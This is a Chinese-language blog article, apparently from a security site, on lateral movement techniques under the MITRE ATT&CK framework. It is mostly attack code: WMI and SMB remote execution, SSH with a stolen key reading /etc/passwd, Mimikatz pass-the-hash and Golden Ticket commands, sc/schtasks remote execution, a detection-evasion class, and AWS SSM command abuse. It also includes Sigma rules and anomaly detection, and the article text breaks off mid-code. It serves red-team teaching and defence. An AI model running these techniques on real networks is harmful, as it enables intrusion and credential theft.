> 从ATT&CK框架看现代红队攻击中的横向移动技术 _

从ATT&CK框架看现代红队攻击中的横向移动技术

引言

在网络安全领域,MITRE ATT&CK框架已经成为攻防对抗的标准语言。作为一套全球公认的对抗行为知识库,它不仅为蓝队提供了防御视角,更为红队和渗透测试人员提供了系统化的攻击方法论。在企业网络环境中,攻击者一旦获得初始立足点,横向移动便成为扩大战果的关键技术。本文将深入探讨基于ATT&CK框架的横向移动技术,结合实战案例和代码示例,为安全从业者提供深度技术洞察。

ATT&CK框架概述

MITRE ATT&CK框架将网络攻击生命周期划分为14个战术阶段,横向移动(Lateral Movement)属于其中的关键战术之一(TA0008)。该战术包含数十种具体技术,从经典的Windows认证机制利用到云环境中的权限提升,覆盖了现代企业环境中的各种攻击场景。

横向移动的本质是攻击者在获得初始访问权限后,通过网络在系统间移动,寻找高价值目标的过程。这一过程不仅需要技术手段,更需要对企业网络架构、权限体系和防御机制的深刻理解。

横向移动的技术分类

远程服务利用

远程服务是企业网络中最常见的横向移动通道。攻击者往往利用合法的远程管理工具或服务漏洞在企业内部横向扩散。

WMIExec技术实践

Windows Management Instrumentation(WMI)是内网横向移动的利器。通过WMI,攻击者可以在远程主机上执行命令,而无需在目标机器上部署额外工具。

import wmi

def wmi_exec(ip, username, password, command):
    try:
        conn = wmi.WMI(computer=ip, user=username, password=password)
        process_startup = conn.Win32_ProcessStartup.new()
        process_startup.ShowWindow = 0
        process_id, result = conn.Win32_Process.Create(
            CommandLine=command,
            ProcessStartupInformation=process_startup
        )
        if result == 0:
            print(f"命令执行成功,进程ID: {process_id}")
        else:
            print("命令执行失败")
    except Exception as e:
        print(f"WMI连接失败: {str(e)}")

# 使用示例
wmi_exec("192.168.1.100", "administrator", "P@ssw0rd", "whoami")

SSH密钥利用

在Linux环境中,SSH密钥往往是横向移动的重要跳板。攻击者通过窃取的SSH私钥访问其他系统。

# 使用窃取的私钥进行SSH连接
ssh -i stolen_private_key user@target_host

# 通过SSH执行远程命令
ssh -i stolen_private_key user@target_host "cat /etc/passwd"

认证机制滥用

Windows认证机制是横向移动的核心技术领域,包括NTLM认证、Kerberos票证等攻击手法。

Pass-the-Hash攻击

PtH攻击允许攻击者使用密码哈希而非明文密码进行认证,绕过正常的认证流程。

import subprocess

def pass_the_hash(target_ip, username, ntlm_hash, command):
    """
    使用Mimikatz进行Pass-the-Hash攻击
    需要预先下载mimikatz并放置在合适位置
    """
    mimikatz_cmd = f'sekurlsa::pth /user:{username} /domain: /ntlm:{ntlm_hash} /run:"{command}"'

    process = subprocess.Popen(
        ['mimikatz.exe', '/command', mimikatz_cmd],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    output, error = process.communicate()
    return output.decode('utf-8')

Kerberos票证攻击

Golden Ticket和Silver Ticket攻击允许攻击者伪造Kerberos认证票证,获得域内任意服务的访问权限。

# 使用Mimikatz生成Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:hash /ptt"'

# 验证票证
klist

# 访问域控共享
dir \\dc01.contoso.com\c$

网络协议滥用

企业内部的各种网络协议往往成为横向移动的通道,包括SMB、RDP、WinRM等。

SMBExec技术

通过SMB协议在远程主机上创建服务执行命令,是经典的横向移动技术。

import impacket
from impacket.dcerpc.v5 import transport, scmr

def smb_exec(ip, username, password, command):
    # 建立SMB连接
    smb_connection = impacket.smbconnection.SMBConnection(
        ip, ip, None, 445, timeout=5
    )
    smb_connection.login(username, password)

    # 创建服务执行命令
    service_manager = scmr.SCMRConnection(smb_connection)
    service_manager.open()
    service_manager.createService(command)

防御视角下的横向移动检测

日志监控策略

有效的横向移动检测需要综合利用多种日志源,包括Windows事件日志、网络流量日志和终端检测日志。

关键事件ID监控

  • 4624:成功登录
  • 4625:失败登录
  • 4672:特殊权限分配
  • 4688:进程创建
  • 5140:网络共享访问

Sigma检测规则示例

title: Lateral Movement via WMI
id: a87eccd6-51e3-4c6c-b255-38a2aa3dbb12
status: experimental
description: Detects WMI remote process creation
author: John Doe
date: 2023/10/15
tags:
    - attack.lateral_movement
    - attack.t1047
logsource:
    product: windows
    service: wmi
detection:
    selection:
        EventID: 5861
        Operation: Start
        ClientMachine: 
            - '192.168.*'
            - '10.*'
            - '172.16.*'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: high

网络流量分析

横向移动往往伴随着特定的网络模式,通过流量分析可以检测异常行为。

异常连接检测

import pandas as pd
from sklearn.ensemble import IsolationForest

def detect_anomalous_connections(network_logs):
    """
    使用孤立森林算法检测异常网络连接
    """
    # 特征工程
    features = pd.DataFrame({
        'src_ip_count': network_logs.groupby('src_ip')['dst_ip'].transform('nunique'),
        'dst_ip_count': network_logs.groupby('dst_ip')['src_ip'].transform('nunique'),
        'port_entropy': network_logs.groupby('src_ip')['dst_port'].transform(lambda x: x.value_counts().std())
    })

    # 异常检测
    model = IsolationForest(contamination=0.01)
    anomalies = model.fit_predict(features)
    return network_logs[anomalies == -1]

高级规避技术

现代红队操作越来越注重规避检测,使用各种技术绕过安全监控。

Living off the Land

使用系统自带工具进行横向移动,减少外部工具的使用。

# 使用Windows自带工具进行横向移动
sc \\target01 create MyService binPath= "cmd.exe /c whoami"
sc \\target01 start MyService
sc \\target01 delete MyService

# 使用计划任务执行命令
schtasks /create /s target01 /tn "MyTask" /tr "cmd.exe /c whoami" /sc once /st 00:00
schtasks /run /s target01 /tn "MyTask"
schtasks /delete /s target01 /tn "MyTask" /f

时间延迟和流量伪装

通过随机延迟和流量加密规避检测。

import time
import random
from cryptography.fernet import Fernet

class StealthyLateralMovement:
    def __init__(self):
        self.key = Fernet.generate_key()
        self.fernet = Fernet(self.key)

    def execute_with_delay(self, command, min_delay=30, max_delay=300):
        # 随机延迟执行
        delay = random.randint(min_delay, max_delay)
        time.sleep(delay)
        return self.execute_command(command)

    def encrypt_traffic(self, data):
        return self.fernet.encrypt(data.encode())

    def execute_command(self, command):
        # 命令执行逻辑
        pass

云环境中的横向移动

随着企业上云进程加速,云环境中的横向移动技术变得日益重要。

AWS横向移动技术


import boto3
from botocore.exceptions import ClientError

def aws_lateral_movement(instance_id, command):
    ssm = boto3.client('ssm')

    try:
        response = ssm.send_command(
            InstanceIds=[instance_id],
            DocumentName="AWS-RunShellScript",
            Parameters={'commands': [command]}
        )
        return response['Command']['CommandId']
    except ClientError as e:
        print(f"命令执行

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月11日
浏览次数: 42 次
评论数量: 0 条
文章大小: 计算中...

> 评论区域 (0 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$